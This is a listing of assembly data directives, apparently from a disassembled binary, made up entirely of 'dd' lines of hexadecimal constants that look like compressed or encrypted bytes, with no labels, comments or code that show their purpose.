		dd 9600597Ch, 8147A53Dh, 396806h, 7302B0B5h, 0BC65BBF8h
		dd 2AED9A07h, 429058FEh, 72F95Ch, 173A2240h, 18991207h
		dd 2505C570h, 6EA308A1h, 937380FFh, 0FB0E5083h,	401F2F67h
		dd 0CAB6B4C1h, 0C013FD5h, 0E2597580h, 9977CCDh,	834F4800h
		dd 8A84C77Ah, 0E5E30008h, 0BED8AC5Eh, 902EB1Eh,	14034B12h
		dd 87A46013h, 0AF620FBFh, 0A3A005CFh, 0EAB6D046h, 9BA4360Bh
		dd 3ED90054h, 30DFC0h, 0CB2A0C17h, 965C5AECh, 0C18E3Eh
		dd 53343365h, 41C42Eh, 0E1B021AEh, 0B27D6E4Ch, 2D1212F4h
		dd 7C404AFBh, 319962F5h, 727800FAh, 0C7835F96h,	13021DE8h
		dd 0D5C9E6B7h, 0D4076029h, 5D551D7Fh, 0FB3B8046h, 32363E74h
		dd 0E477C203h, 0C86E92F2h, 0F7CCCFh, 31AE4A5Ch,	936389E6h
		dd 167A7F3Ch, 4F00DEFDh, 0D8D9BAF6h, 0B8497FC0h, 0C76A1D48h
		dd 8AA54701h, 48E31061h, 8F3F7B7Dh, 0DF2680B4h,	0EBDC851Ah
		dd 0C5353D4Ch, 0C7E9B80h, 1DCA522Dh, 0E78E6C00h, 0A5B7BBD0h
		dd 7FC70253h, 1426F1A8h, 7472417Fh, 0CF617470h,	0CD2E3368h
		dd 0F1DB28C0h, 0D59CA7Ch, 0A609004Ah, 9CA592AFh, 3FCD00B1h
		dd 0DF688C64h, 612C1901h, 0EE009006h, 2023B45Ah, 7F7E06FAh
		dd 828AE66Bh, 0D04C8BF0h, 0AF76000Fh, 0A1D70D90h, 0B4D300E8h
		dd 473038BEh, 2948FB19h, 820008Ch, 0D89D5127h, 0A32C00C2h
		dd 0F37E511h, 0E900D18Ch, 0E6369463h, 126130Ch,	7DD9E34Bh
		dd 0F3041BA6h, 0A02FB0F7h, 97E6A4CAh, 57821614h, 7D2800A8h
		dd 8BC5D431h, 72A21FA5h, 258EC0EDh, 13938E2h, 866C2600h
		dd 73A0919Eh, 14CA0348h, 3D3BFFDEh, 6B221805h, 7880475Ah
		dd 53FCC04h, 4C9045EBh,	3EDC0065h, 0C4A1E814h, 0A48C0C02h
		dd 0EBC2642Fh, 7E258840h, 9BAD4849h, 8D031A00h,	1BB715Dh
		dd 6949800h, 0AC845F0Fh, 69601462h, 4000A812h, 547E0E71h
		dd 7D00C080h, 0CEBD6EBFh, 0C78752h, 5D60754Ah, 0C4273C23h
		dd 6E397800h, 7A1B625Bh, 2CEB0046h, 0ACFDB16Dh,	1FEE611Ch
		dd 58080B31h, 8020BCA3h, 8D4A0028h, 4792224Fh, 0BB601FACh
		dd 9F566C18h, 0CBF8269Ch, 4D507C4h, 0CB0039A1h,	726C69C9h
		dd 20756324h, 82EA3903h
		dd 5135B047h, 578E00B6h, 153EA120h, 0ECFB33EBh,	0B101E2B5h
		dd 0DA9B50E6h, 50EA1E5Bh, 0E87C00h, 0DD9FB653h,	56672378h
		dd 5283B300h, 13903705h, 737A9Dh, 0BC6241Ah, 0CC5A342Eh
		dd 260AEB00h, 0B44F9442h, 75FE00F6h, 7298DF95h,	0F7024516h
		dd 9060AD39h, 0FC7B409Ch, 0DC750014h, 1872A04Ch, 0F8016A68h
		dd 69C3499Ah, 18602013h, 80D8B963h, 8C1EF04Ch, 63B46C3h
		dd 326080AFh, 0E71CFA35h, 0DCB700E2h, 8F7F0F07h, 6B02A3F2h
		dd 2ACEE6C4h, 0C30C4075h, 54DC1DD3h, 1F03D78Ah,	0DA6D8060h
		dd 0D119DFC4h, 812E6C04h, 50805038h, 0A2ADD8h, 15F291A5h
		dd 851D2973h, 52D9C002h, 80AB8A68h, 216056C8h, 1FDF80Fh
		dd 0B0904339h, 0F0576D24h, 2A009C92h, 0D6823CF7h, 0CE46C681h
		dd 0A9E5FC88h, 0FE3C8C06h, 0CF03D3FCh, 37AECB58h, 0B749B8BCh
		dd 31BB0D9h, 3125847Ah,	46800E3Dh, 961FD034h, 79866CD6h
		dd 80B05573h, 9EFE49Fh,	0CE5B20CCh, 221F7420h, 6E00415Fh
		dd 0AC79D159h, 71083Eh,	55C1A0F8h, 387889D4h, 72F3D000h
		dd 9E96ED94h, 26E707BFh, 0E032E592h, 0F5453CADh, 5B0004E8h
		dd 0F9B3C0FBh, 2F9DD4h,	7AD0CB97h, 48E8C1E5h, 8100AE7Eh
		dd 5B0D3FF3h, 7D2C3307h, 1C1258E7h, 6D5C6B0Eh, 0C121B664h
		dd 7BEDDA98h, 16400BB0h, 41D2B06Eh, 1B2F4328h, 0BF983448h
		dd 69B2D50Fh, 171C9CDDh, 0CDCA2740h, 4802E25Dh,	0A0B9097h
		dd 1C008F61h, 0B465AC2Fh, 157563Ch, 70893013h, 0C2F4A3AAh
		dd 0A9FC1E40h, 5CBE438Fh, 980018FFh, 7F9CFB33h,	1D14619h
		dd 0CAAC72FAh, 704A979Dh, 8CE02FD6h, 0EFC69C07h, 5CC0C189h
		dd 3C4B2C5Bh, 8300524Eh, 0DDE49044h, 0CC000842h, 8130B555h
		dd 1210B6C2h, 416C2FE3h, 278452DCh, 4E00D635h, 405FFB86h
		dd 6CC9D570h, 0C04CAE5Ah, 0A57C7B8Ah, 0C6AA00FAh, 93F5E357h
		dd 19004DF7h, 8FF6C0AEh, 1FE0557Ah, 2CC5C4h, 99B390EAh
		dd 0AB097F1Bh, 785CF72h, 66D0DBDCh, 1D0C739Eh, 8090D8A3h
		dd 2D6B5F58h, 1204A578h, 7EC4CA9Fh, 0F439F4D0h,	0E19E00FDh
		dd 462D4A1Dh, 0A21E9AF9h, 0FF00108Eh, 444F555Eh, 8C1F01E4h
		dd 5DE689EEh, 94C0F249h, 0A6240337h, 9F3F4077h,	1E0469DDh
		dd 80B00794h, 140B084h,	2F859AA2h, 61AF6CABh, 0F1308046h
		dd 9F6D886h, 39240183h,	0D08F0381h, 5BD0DBADh, 2500A5A6h
		dd 9DF86B40h, 3F77A880h, 0A080F98Dh, 6E94A11Eh,	10046A6h
		dd 3A2A1014h, 35D7E6h, 0DA52385Bh, 7D83F30h, 98419102h
		dd 40C4E943h, 0FAF4E520h, 4831702Dh, 0F026460h,	759F0214h
		dd 0A8447B00h, 0E0154189h, 2E50E2C1h, 5C1298E7h, 6C4050C5h
		dd 0DEDB1A25h, 40B300E6h, 8D97B262h, 60FF4CA7h,	56317E4h
		dd 88B4E318h, 0C45AFD4h, 92A02BC1h, 600EE88h, 0E0A1FD32h
		dd 3EB20D1h, 715EA43Ch,	0FDF1D7Dh, 4B079494h, 0E04D39C3h
		dd 0F4672838h, 567B4E00h, 0AF3EBA82h, 61183C23h, 427D4B84h
		dd 625CE02Eh, 0E7FB8400h, 21308FF5h, 0B89E4C80h, 185E8108h
		dd 9C079B16h, 1580F107h, 71A34Bh, 58C7ADF9h, 8A84230h
		dd 0E9DCF700h, 1B6976B2h, 48EB00ABh, 0D9DB43ACh, 6203A547h
		dd 3FC9EA01h, 15CDF8AAh, 534D077Ah, 13A098h, 5C29C521h
		dd 104E0500h, 0AE083674h, 0E75F054h, 0BBD307DAh, 0B3FD70A2h
		dd 2542DC72h, 0EFC824C0h, 0CA1D9A08h, 9C0E029h,	616D1B6Fh
		dd 4A4FE0Ch, 1C70A665h,	54E80E5h, 438DF5Ch, 602AB2D0h
		dd 0FC743B2h, 0E2DB7F60h, 0B285AECh, 767B2D14h,	53C607C4h
		dd 0E0204009h, 462F9Ch,	0A6525775h, 0D2F544D9h,	160F637Dh
		dd 0AA7F50h, 7234B9D8h,	0CC4A00EEh, 65A073AFh, 24791DCAh
		dd 2D17A21Ch, 41C3181Fh, 0F8F9D2A3h, 0FB01B4Fh,	9FAC85C4h
		dd 735A5000h, 2771A601h, 29996D00h, 1AE50735h, 0D00A2623h
		dd 8353805Ch, 487E7BAFh, 1605E00h, 0EFCE0915h, 18DB07E6h
		dd 108BAC19h, 0D154F7CBh, 711F30Fh, 0DAD9A37Eh,	90A8E085h
		dd 701001FFh, 0DD6A0420h, 0B244209Bh, 9C7F9927h, 411A655Ch
		dd 2A90818Ah, 2C329Dh, 87F92C36h, 0EB1F77h, 0FA88B34h
		dd 0AB47D6E7h, 0E756000h, 0BC8AE5AAh, 0B391009Fh, 51324BB9h
		dd 2826F9CBh, 59008458h, 0B8CAA3FDh, 0D60A0FC2h, 9E00F852h
		dd 5FB2195Ah, 0A0476409h, 2E3C0082h, 7841A67Ch,	787DAEh
		dd 7FAACE14h, 830CAA8h,	48586B03h, 4891E02Ch, 0A315505Ah
		dd 0EDC66CFEh, 8011152h, 1E9DA236h, 0FF43D4Bh, 54E7007Dh
		dd 0C3863C4Ah, 0DA00158Ch, 0C80D9357h, 485D89h,	55AAF7E0h
		dd 7978BC84h, 0B2034F76h, 0A80F7DF0h, 0FE9C9085h, 0DAE500F6h
		dd 537C0BA7h, 2E00BBC4h, 4272035Eh, 2CC790h, 55AF9F35h
		dd 6DDD57ACh, 21FD9601h, 0E9BE6C98h, 1704EC8h, 5C030754h
		dd 2019D1D0h, 87004F04h, 4C7A7FBBh, 13AD646Ah, 13D20518h
		dd 0B00880FCh, 0C7008856h, 0EFD570FBh, 18420315h, 18E6DD24h
		dd 0A3008CACh, 81C74FCh, 909CD976h, 9EB60B04h, 0AC38C323h
		dd 59006DBAh, 4F27F88Fh, 0E25E3B34h, 397289h, 0E7214AB6h
		dd 0FFB82FB0h, 0F2002B76h, 2E0D3828h, 58ABD7C7h, 2208C050h
		dd 31163EEEh, 20B14CCh,	52161CCDh, 24C8ADFDh, 50265D1Fh
		dd 4501E45Fh, 0DC1BBBAAh, 21070EEh, 0AFBA67A0h,	48687B89h
		dd 1D0F9F59h, 0ADF650h,	0DF9C4E4Ch, 0D0F3483Ah,	5D14E300h
		dd 0B3ABFF40h, 0B9E75928h, 74442613h, 0D0890C00h, 0B41F163h
		dd 20109047h, 0E5089800h, 39047B73h, 1878B8A5h,	0F20CE0h
		dd 0B93301C8h, 3FC605B4h, 0C469461Dh, 548FD301h, 85FC3509h
		dd 50B4600Eh, 7280EB3Bh, 5005A807h, 5F793CA1h, 45C60000h
		dd 0F3141A35h, 4BE153EEh, 5D0004A8h, 0F8FF8B6Dh, 6C3E3065h
		dd 2DA59240h, 96096C02h, 0A850964h, 1F92C012h, 0DA07A30Bh
		dd 67ABEB0Eh, 26A91010h, 18400136h, 9E157662h, 86782401h
		dd 8D4Bh, 0C3B07568h, 0B62A00CEh, 4D4C365Eh, 3D000F02h
		dd 6D1212Fh, 698417h, 322537F7h, 28A6D054h, 0B669700h
		dd 0BDED2B26h, 0F5C0015Eh, 0E1E0F638h, 549CEC16h, 81788A3Bh
		dd 93333E8Bh, 0D8C8C12Eh, 48E0377Bh, 0D9EB809Ah, 630F1EC2h
		dd 200EE2C5h, 7F91DCB3h, 0E55A00E4h, 1C11EA4Ch,	623D6523h
		dd 0C9E7142Dh, 6A7104CCh, 889139DEh, 0C0D710B7h, 48C7D53Fh
		dd 0A600AB0Ch, 4A75A383h, 36000EC4h, 625237EEh,	157BDC7h
		dd 0E1F39C9Bh, 0F0313567h, 2B00E333h, 0B079FE83h, 90986EDBh
		dd 2D3E0088h, 2C0FC4A2h, 0B800DDF4h, 0B6F95DC3h, 711A39FEh
		dd 0CB091262h, 0F8F08093h, 3200BCA0h, 5C5B8C89h, 283E65h
		dd 334AD995h, 3CFA380Eh, 56388275h, 0CC04013Fh,	1C929446h
		dd 38BE4C60h, 5424ED33h, 5EAB00DAh, 1D798920h, 0A946950Bh
		dd 739CA018h, 24524469h, 931D4B0h, 4C8082C6h, 656C6A08h
		dd 0C0AB8736h, 41353F6Ch, 0A3AA7480h, 13955F23h, 0CB76D48h
		dd 781B7D5Eh, 920BE66Eh, 0A4AA0110h, 518D4FFFh,	0F2C47095h
		dd 7672258h, 0E9DD7C75h, 98D043B7h, 0E5B8B3h, 0F303C1B4h
		dd 7FDABB51h, 99D7E90Eh, 930027Dh, 5D68E046h, 0DFD50088h
		dd 18EE9EE2h, 834C38C3h, 4C005A94h, 0EC3C9CFCh,	0F06800CEh
		dd 9B904482h, 8F00CA5Bh, 360229ADh, 13F2E00Dh, 7D0E5Fh
		dd 0EBDCF098h, 0F601BC0Ah, 79D1B86Ah, 0C2F0B0E6h, 2B104CE4h
		dd 0B3A8D04h, 0E84580CFh, 30205CEh, 0EE811FC9h,	605043h
		dd 9D25CA99h, 4BF31502h
		dd 403A6F0Fh, 0A752001h, 0B0B2AF9Eh, 0C5120169h, 3BB9FCF3h
		dd 869347BEh, 0B63E1809h, 0D8BC80D7h, 1336C745h, 5550498h
		dd 0E1793197h, 0FA95C4A0h, 0C6B51700h, 0E787CC61h, 0B11B0089h
		dd 0DE1D923Ah, 4C003704h, 5C6D9BE2h, 107C99Dh, 9A1C2552h
		dd 0F8CAA118h, 47265B62h, 0EB03A828h, 8776B38Eh, 41ED4290h
		dd 0EC655D33h, 1D48A424h, 24730031h, 0FB8D62C7h, 5F0CAC00h
		dd 0D5E1BD12h, 0BC9A0Ah, 6C63FD4Ch, 6BAC7FCCh, 0A554A90Fh
		dd 0AC00F65Eh, 0FA776147h, 0E67040ECh, 0D6B6AB12h, 0F90F5A1Dh
		dd 752485DDh, 0F9B3DCD2h, 17A450B8h, 0E6B0400h,	1A1BE7DFh
		dd 75278C0h, 0FAF01871h, 0D84840A8h, 23650D5Ch,	18803658h
		dd 0EE201Bh, 0C59DBBFAh, 6ACF4C8Fh, 80316E3Eh, 8EBEDB8Dh
		dd 3BE84EE9h, 0C4829B91h, 29E03328h, 0D41218F8h, 0BC004610h
		dd 0D870E6BFh, 73AE1F91h, 9F007EF3h, 4260E0C8h,	36022E02h
		dd 0B987B8Eh, 82746340h, 0D000E352h, 0C48E183h,	0DF228557h
		dd 40009078h, 9DF0ECD6h, 0D05E71h, 43020CF4h, 1679CB17h
		dd 0DE34E01h, 1F19862Fh, 0D1979440h, 5F1E00C3h,	2DCC0F91h
		dd 11077740h, 4467EAFDh, 6DB0AD17h, 96110h, 7429F9FBh
		dd 9E064181h, 0AC00F098h, 44DB99CDh, 0E475E77Ah, 0BA890DFh
		dd 0C11ACF84h, 51487CC0h, 0B83A5Ch, 944F6D26h, 2BFA537h
		dd 35CA13BAh, 2860D192h, 3C0BFFF8h, 0C6078757h,	0E22B1690h
		dd 5C7C407Ch, 0B4689A0h, 0ECD37000h, 0BBB8260Ah, 9C8B1F0Fh
		dd 23661608h, 4D901FECh, 504C3569h, 575B03B0h, 0F0B99C86h
		dd 3919DB08h, 71006863h, 0E28E4D4Fh, 13303D20h,	4529D0EDh
		dd 180F7B4Ah, 8178AC89h, 78B0C4ABh, 47260100h, 2FBE518Bh
		dd 0A2DCF93Dh, 79C3B8DBh, 5D13F43Bh, 8D0024BBh,	0A187869Ch
		dd 1E0580CCh, 8CDC189Dh, 77515400h, 4F9FBCE8h, 49980F27h
		dd 9C45A80h, 0CE26FE50h, 1E00A4B1h, 47856358h, 7E4FF483h
		dd 1A4E00D6h, 5C2EDE60h, 570084D2h, 1FF0BF4Ah, 462FE8h
		dd 3037C588h, 0CD0CA57Ah, 54001A78h, 1FAA6771h,	2E532C34h
		dd 78656h, 0A77D7C6Ah, 6000D2B4h, 2D51A85Eh, 719D572h
		dd 0BDBA5586h, 0B14CF047h, 0C1041166h, 1EC40D1Fh, 8F379080h
		dd 0C2270193h, 0B68C4255h, 23DAF020h, 44CFF401h, 0B06FB88Dh
		dd 7D48E3D8h, 71BFE3Dh,	0BEE58C4Ah, 63B4C0B1h, 7C1204A4h
		dd 620D30F4h, 76FCF8A1h, 708942Bh, 60DAEDA4h, 0DD910CF8h
		dd 0E4F79607h, 803E0D3Fh, 9AFADE8h, 3E480070h, 0E25D5BDCh
		dd 35034D4Ah, 0C28910B2h, 0D7E604CEh, 0C08FAFECh, 6C5A61D7h
		dd 3B684B4Ch, 69B3891Eh, 24EC0966h, 7E300828h, 8C014617h
		dd 0AF2B3979h, 0A6C5FA2Eh, 0F7458C4h, 82B71C86h, 0A86E9AEEh
		dd 5508CA60h, 6498C387h, 0DAB6A403h, 0D04F181Ah, 0B66ABCD9h
		dd 65C30650h, 0B13C701Dh, 8B9E92FCh, 0A75F3480h, 45F90344h
		dd 916AA565h, 0CEADE7E8h, 1019D102h, 0CA9ECB2Ah, 0A08C89CCh
		dd 5F6D66CCh, 0DBD7006Fh, 4A7AFE1Eh, 0C20275A2h, 9C45712Dh
		dd 826BE84Dh, 393B00ACh, 0B94C89CCh, 90034679h,	3DFA4862h
		dd 7D0D0E3h, 3EE800E6h,	9ED11435h, 0E0C05D6Ah, 16D9F22h
		dd 7905005Eh, 2AB8A541h, 21CB9565h, 9D40C03Ch, 9C0D07F3h
		dd 60EDC4CAh, 0B9FFA948h, 36C92A06h, 1C683993h,	7BCFEEF7h
		dd 3FE96C81h, 30615303h, 66003EF8h, 0E225F749h,	1102D34Ch
		dd 35DEF05h, 0A520A13Dh, 21880079h, 0C8B53AE9h,	24F6F701h
		dd 0BCC7A4A8h, 4EABB103h, 91C32E93h, 0C0EE8031h, 9D958F38h
		dd 0D750D2F0h, 0CEB8B0D4h, 5CD6FE00h, 71779882h, 0CF740E5Bh
		dd 0B07E1781h, 0E5667E44h, 0A8FA418h, 9CDD2188h, 0B714854Ch
		dd 0C094D46Eh, 0B479BB5Eh, 8EDCBD00h, 88E8740Fh, 86DA1CA7h
		dd 2600B838h, 0B9032AC0h, 7700526Ah, 2DA637D5h,	7ACC5CADh
		dd 24BD0705h, 4298AA63h, 84E84B48h, 2B28A61Ah, 2EE2FC57h
		dd 0F3076C00h, 199BF06h, 0C790F47h, 0F4B4514Ch,	94A25800h
		dd 0FB423717h, 9AAB9801h, 0CDFC6FECh, 9183D840h, 0EBD9003Fh
		dd 11429EF7h, 0D33088A9h, 35242108h, 618C189Fh,	6D0C10CEh
		dd 2B9C3F00h, 65AE4777h, 78883815h, 31830079h, 70468293h
		dd 0C00152C9h, 3D765602h, 1CE490CFh, 0E76C027Fh, 5805CD01h
		dd 5D156140h, 64264A00h, 0ACA843DDh, 7E9D7972h,	0EE7302EAh
		dd 0FAB5DA57h, 771D5450h, 9D683B70h, 8DEC2F00h,	5B319FCEh
		dd 64070091h, 86C4D24h,	2800FAF1h, 95C4571Bh, 71A622A2h
		dd 351F807h, 0E4BA446Dh, 0E8108799h, 0E60085D2h, 0CAA6FCB9h
		dd 4500050Ah, 0F9212003h, 0EC8971h, 67798A42h, 5DD48DDBh
		dd 8BA16905h, 0F802B2C0h, 6032B68Eh, 0F576581h,	182C6742h
		dd 0F4377B20h, 0A8581AE8h, 6472038Bh, 0BCA12716h, 63676C80h
		dd 8A32002Eh, 2FFC91E0h, 5D48733Ch, 46E60F0Bh, 4877603Dh
		dd 90339829h, 0C551258Ch, 0E3C484h, 0E7F37449h,	0F5EF0E90h
		dd 0CCC2E1E0h, 9C617B95h, 61CEC170h, 37784154h,	0A1FD4063h
		dd 0B06755Dh, 0CCAC4028h, 3B9BE420h, 0D0E0E280h, 0F03A0FE8h
		dd 0F03CF1h, 0C467A2AFh, 3AC870A7h, 0AE01E0B7h,	95F9E41h
		dd 0EA6FC01Eh, 5A9639h,	0F4279CEFh, 78C2A6h, 4699706Ah
		dd 0AE480717h, 7C00AAEEh, 0E1474C1Fh, 3AB2E5EDh, 57002B25h
		dd 0B693A907h, 1D973E09h, 6083E400h, 0A52C0Fh, 0C126DFE8h
		dd 0B6178DD9h, 0D04A5Ch, 3488B2D1h, 2DF77467h, 18009828h
		dd 2DFAF5ECh, 0FC524200h, 250966D5h, 726E004Bh,	89EFB47Fh
		dd 0CA03A8A3h, 5AB6288Bh, 1056D860h, 0DE21003Dh, 0D198838Ah
		dd 280142C7h, 77EA803Ah, 8428D334h, 23D6E580h, 97E8482Ah
		dd 6D58C200h, 2E3D1D73h, 0C8AC07F8h, 0D9ED7B8Ah, 1EF5F880h
		dd 0E000E2D8h, 0E055489h, 17D782Ah, 0B25EA433h,	0DCCBC4DEh
		dd 9E4B444Ah, 0E1292CC0h, 6C640039h, 7532B2AFh,	0A70135FEh
		dd 0C7DBB171h, 0D0305B9Eh, 0D0C84A9Ah, 7872E26Ch, 0A6CC1E00h
		dd 61FCF57Eh, 6FF60093h, 82E941B5h, 225FDFEh, 0F1B0E176h
		dd 4309E0h, 5D3B184Dh, 0E6B723FFh, 1BA8A3Ah, 0C4DFE72Bh
		dd 67E4A5E0h, 7948C0BEh, 0AFF8BA9h, 812B9B00h, 687C1BD9h
		dd 0B4400E7Fh, 7A2072B7h, 0D4C1FCBAh, 0E49B3A00h, 677FCE62h
		dd 0ADEC0EBFh, 0A4414BF5h, 0D01945D9h, 0CA719EBBh, 7F7DAA00h
		dd 1E0DA0EAh, 0E403004Eh, 0C368A547h, 0B7B01FE7h, 8D4C0800h
		dd 3D31446Ch, 9B4D079Eh, 6F93C81Dh, 0B3B5A220h,	96001F86h
		dd 1BA597BEh, 7BB649B8h, 4FB40014h, 0F4196375h,	1DF4DFFEh
		dd 0E672AB03h, 89D2653Ah, 38FC8DF6h, 3C104806h,	0C9F9C480h
		dd 5A074003h, 0BBBFA033h, 0F3809780h, 0E1392CB7h, 0DF60E18h
		dd 90FE5747h, 3CB076DFh, 0FB6FA52Ch, 581C6100h,	128EADh
		dd 301A31C4h, 1D645D79h, 0F8BDB100h, 0E36C7C91h, 0A25E8Dh
		dd 0DF9F2144h, 74BC162h, 340FD441h, 0A80ED84h, 5C772528h
		dd 0D40B854Dh, 0FAF03Dh, 193E1530h, 0BDB50083h,	0FDC21A0h
		dd 230FA884h, 442CEA68h, 9CA059D9h, 1ED116DAh, 456E009Ah
		dd 0A1BAD56Bh, 215ADC32h, 0E8A0093Ch, 7F792A9Ah, 7602983Ah
		dd 3C7B07E8h, 0EFA010A0h, 0C0D62CA0h, 0D53A7E77h, 366D0058h
		dd 5F2718E9h, 0D998022Bh, 172D3BE5h, 7A3A000Fh,	0A3411FE4h
		dd 0D5203B3Ch, 70CFBE20h, 105AFF6h, 0DB557D88h,	0C08E1EECh
		dd 9DA050B8h, 1A54FEE4h, 0FD18A69Ch, 7F389B58h,	3AF00038h
		dd 86123A1h, 0AF0CABF4h
		dd 9004D7C6h, 0F7DC0E5Ah, 8B40C59Dh, 0F3D4C03Fh, 0E7B22001h
		dd 0F96A2693h, 0B57CF0h, 87790D46h, 672488CAh, 2C1A6100h
		dd 0E813B1DEh, 8E863AC9h, 4A842980h, 2A20D04Dh,	91A03EE0h
		dd 3300C4EAh, 0A1E5017Ah, 732E48h, 4D4740FFh, 0E8151D02h
		dd 71005579h, 79322884h, 0A0248C3Ch, 1AF2CDDh, 0AA19C86Ch
		dd 4813BB5Fh, 8B00EEC8h, 6AD2E8C2h, 0EAC3398Eh,	48E6BAh
		dd 43E63D65h, 2B388385h, 9F3F8CA8h, 0B122B91Dh,	0CE868C80h
		dd 15752Eh, 304A4D4Ch, 0D8D98D85h, 0C41DC528h, 3B9F8E1Dh
		dd 0EAA17130h, 2281005Bh, 0EB764451h, 94E8E0C5h, 6D3EBCA4h
		dd 98469C1Eh, 0D0A3BA47h, 162CE4F0h, 0AC3D00BCh, 0D3B58899h
		dd 7123F12h, 6009DD1h, 0BC5B2621h, 5669C714h, 2FEE047h
		dd 0B00C1E6h, 0CF9C362Bh, 0E8B191h, 3F2A1FF6h, 0FE07DDF2h
		dd 0E49F9E0Ch, 891C8859h, 29D0DB8Eh, 0A303DE1Dh, 0C1D80223h
		dd 0C600022h, 6231FC83h, 31C02538h, 5A9A555Fh, 0A5E00AEh
		dd 26A44850h, 1DB8C6E5h, 74926CA1h, 2500B44Eh, 0A7BEF222h
		dd 3D0490h, 836770Dh, 6BF903BDh, 0CF894903h, 8FB692E1h
		dd 1DBB45D0h, 0C43F00ADh, 0B90C0FB4h, 1C001BE0h, 3E7D0146h
		dd 267CBBAEh, 8AA2C9h, 0F3B6BA86h, 28F0B0C7h, 0EE0F4F00h
		dd 7630B0Eh, 0FB120C6Bh, 0DB607FC2h, 9691460h, 0B479E06h
		dd 4EECBDE5h, 2B485B0Ch, 0ED661700h, 0F81091F3h, 597795h
		dd 8EF53BF0h, 0B78980CEh, 7C99AF03h, 38E7C508h,	31010251h
		dd 0B8A874FDh, 0A94ED4ACh, 8EB2AD26h, 0A3912201h, 588F7B92h
		dd 4F80EBB6h, 0C0A749B1h, 53DD2400h, 6C272BE8h,	0D06D0118h
		dd 43BF1538h, 0DFA260DEh, 3CC93B3Bh, 2BBD0E47h,	69176697h
		dd 0E3A300A9h, 55E4DFFDh, 30005F6Eh, 0C93811FFh, 0F995D1h
		dd 0D6BD28BFh, 9997D204h, 43C7E806h, 416210h, 94B82A16h
		dd 5717561h, 178880F7h,	3D234CC1h, 186D71FFh, 104B3FCFh
		dd 18620667h, 0A039F4F9h, 159ED6C0h, 0D38F034Eh, 2D815437h
		dd 0F000EC9Bh, 43057216h, 0C035F422h, 0FA9CE931h, 0FFB0E8D0h
		dd 1A17CA0Ch, 7A4330C4h, 49EA00BCh, 58DC3E57h, 0CF00A19Ch
		dd 2D8476C8h, 0CEB21Bh,	0F7D8183Ch, 0FE71E79h, 0A99E4Ch
		dd 478F6AA3h, 1961D6h, 7A1A12BFh, 48C6CD83h, 0C385DF07h
		dd 9430B95Fh, 738EE6h, 649658CBh, 0DC520693h, 4CF88B00h
		dd 300D68D3h, 7F1A0016h, 0BBD48F83h, 190167CDh,	5BFDC856h
		dd 0AAD8EBC4h, 8AD0004Eh, 9C906C7h, 83001B18h, 0EB42A765h
		dd 0ADC8D6h, 6978E7D4h,	1A7966F2h, 9FD039h, 0B4238CCDh
		dd 6BC84Dh, 579253C9h, 0F0394CB1h, 13017571h, 4677B4F6h
		dd 0C3F876A0h, 1CAA28A5h, 44AF980h, 0CD3850Dh, 97F8CC10h
		dd 0B507C47Eh, 0AE3B2D63h, 7ED345D0h, 91843CD8h, 8CB17C9Eh
		dd 9F299430h, 0D5FD2284h, 44796542h, 2284ABBBh,	0F922CF9Dh
		dd 9983223Dh, 84708742h, 75884D79h, 83389C1h, 21BC449Ch
		dd 0CB022284h, 0F5776F42h, 91103512h, 8FB89B4h,	9C74420h
		dd 8B05A1C0h, 5CDC234h,	1ACE02D1h, 2921C019h, 0EF719AF0h
		dd 0BBEEE200h, 8305FE3Dh, 0A4150126h, 0AB60EC37h, 0FC2DF0B0h
		dd 78044F00h, 5DA230EFh, 0BC10126Fh, 7F37073Bh,	9720B08Bh
		dd 0C60073E5h, 3D57D222h, 0BDADA1h, 3BB70601h, 0E3F68E59h
		dd 0AA0A700h, 0CF8143D6h, 0D96A0B61h, 37009E7Bh, 0D3AE48D2h
		dd 99EBB00Fh, 42FC0085h, 0FC7ED0Bh, 9EAF396Fh, 45C200DDh
		dd 95842896h, 9048DEE9h, 0B400B8ACh, 0A425DCAAh, 3B09EB0Eh
		dd 278E45BFh, 7F001640h, 659CEAFEh, 2FEF2218h, 18C78260h
		dd 117C5D45h, 0FD7B60CFh, 0CAE38800h, 0E89AD65Fh, 9C93121Ch
		dd 0A93C4540h, 1E700053h, 645CE1C3h, 88C76E00h,	0D52C06BEh
		dd 98010048h, 6FB43236h, 0A4006861h, 0F87B5872h, 0BF656Ch
		dd 63E93A2Ah, 5A433CD1h, 87F68300h, 626892ADh, 57510042h
		dd 0C119A404h, 0F303D88Dh, 8F593A09h, 758C981Fh, 233E0097h
		dd 3282BE35h, 0D3012C9Eh, 457E8B29h, 72EC7460h,	64D50010h
		dd 0E76944CFh, 38140318h, 8832F3h, 0D2EDC217h, 2629DB1Dh
		dd 5EC7CBh, 0E74D64D1h,	0FC03CE24h, 5AFF5339h, 6004F252h
		dd 69CDA0h, 0C1DABD18h,	7A801E48h, 606CA10Fh, 291F8455h
		dd 8EF25EC0h, 8D76021Dh, 0A7127D8Fh, 50E7D843h,	0DA57B20Fh
		dd 608E5B00h, 2CDD6D61h, 27343E39h, 0A3BFC780h,	0E25C8488h
		dd 68FC3000h, 364CB3ADh, 0F5F8F6h, 8011C7C0h, 0A6837371h
		dd 0FCD1451Eh, 38499EC0h, 25E034Dh, 0AD7C12C9h,	0FEE035B6h
		dd 9401933Eh, 0A46998C6h, 0BAE4D4A5h, 0F7C00F3h, 0E478EE2Ah
		dd 2092B71Ah, 73357B09h, 0A639009Dh, 78B2B992h,	5CE5004Ch
		dd 0E2EDB7Eh, 5D099CE8h, 80B39E05h, 41E64044h, 2882E9BEh
		dd 0F6862A2Fh, 1E0E8446h, 0B2882715h, 6DD41000h, 24B3177Eh
		dd 4299Ah, 0FE95E8D1h, 0DB00D586h, 3390E6A6h, 0DE5906h
		dd 93EF6736h, 82EB0334h, 0AFB45809h, 39160092h,	0A8E2B62h
		dd 2FD50761h, 0E12003FDh, 0BED33ED0h, 0E6C447C0h, 0D3BD6D00h
		dd 99639F48h, 7FD7D46h,	19BE74E7h, 0C6B9F034h, 0FE013365h
		dd 0CE76C169h, 0FD703BD4h, 0B76600BAh, 0DBEA859Ah, 0FA007C8Eh
		dd 41FB71C1h, 0E64C90h,	5E79D932h, 0A8466A6Dh, 11F688A0h
		dd 9DB62A00h, 6E4108D5h, 1B540061h, 0D29F3318h,	0DA737AA6h
		dd 0A268D00h, 0DF1E1508h, 1E4CF8F9h, 81832Dh, 623507E1h
		dd 9D002BD4h, 362E75A1h, 0D54AA2h, 5994CEA0h, 1044F425h
		dd 65609E00h, 387913AAh, 933F167Bh, 364F0790h, 0CEAD8724h
		dd 0AF31B1A0h, 33001DFDh, 0C7C834A8h, 0FC6F62h,	85CCB575h
		dd 65AD2A9Ah, 3886D501h, 5FC532FEh, 132C27F8h, 6BD914h
